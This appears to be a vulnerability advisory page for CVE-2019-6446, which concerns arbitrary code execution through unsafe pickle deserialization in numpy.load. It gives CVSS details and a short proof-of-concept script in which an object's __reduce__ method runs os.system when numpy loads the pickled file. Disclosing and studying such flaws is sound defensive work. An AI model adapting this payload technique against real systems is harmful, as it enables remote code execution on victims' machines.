Arbitrary Code Execution

Affecting numpy package, versions [0,]

Do your applications use this vulnerable package? Test your applications

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Arbitrary Code Execution. It uses the pickle Python module unsafely, which allows remote attackers to execute arbitrary code via a crafted serialized object, as demonstrated by a numpy.load call.

PoC by nanshihui:

import numpy
from numpy import __version__
print __version__
import os
import  pickle
class Test(object):
    def __init__(self):
        self.a = 1

    def __reduce__(self):
        return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
    pickle.dump(tmpdaa,f)
numpy.load('a-file.pickle')

Remediation

There is no fixed version for numpy.

References

CVSS Score

9.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit
nanshihui
CVE
CVE-2019-6446
CWE
CWE-94
Snyk ID
SNYK-PYTHON-NUMPY-73513
Disclosed
16 Jan, 2019
Published
16 Jan, 2019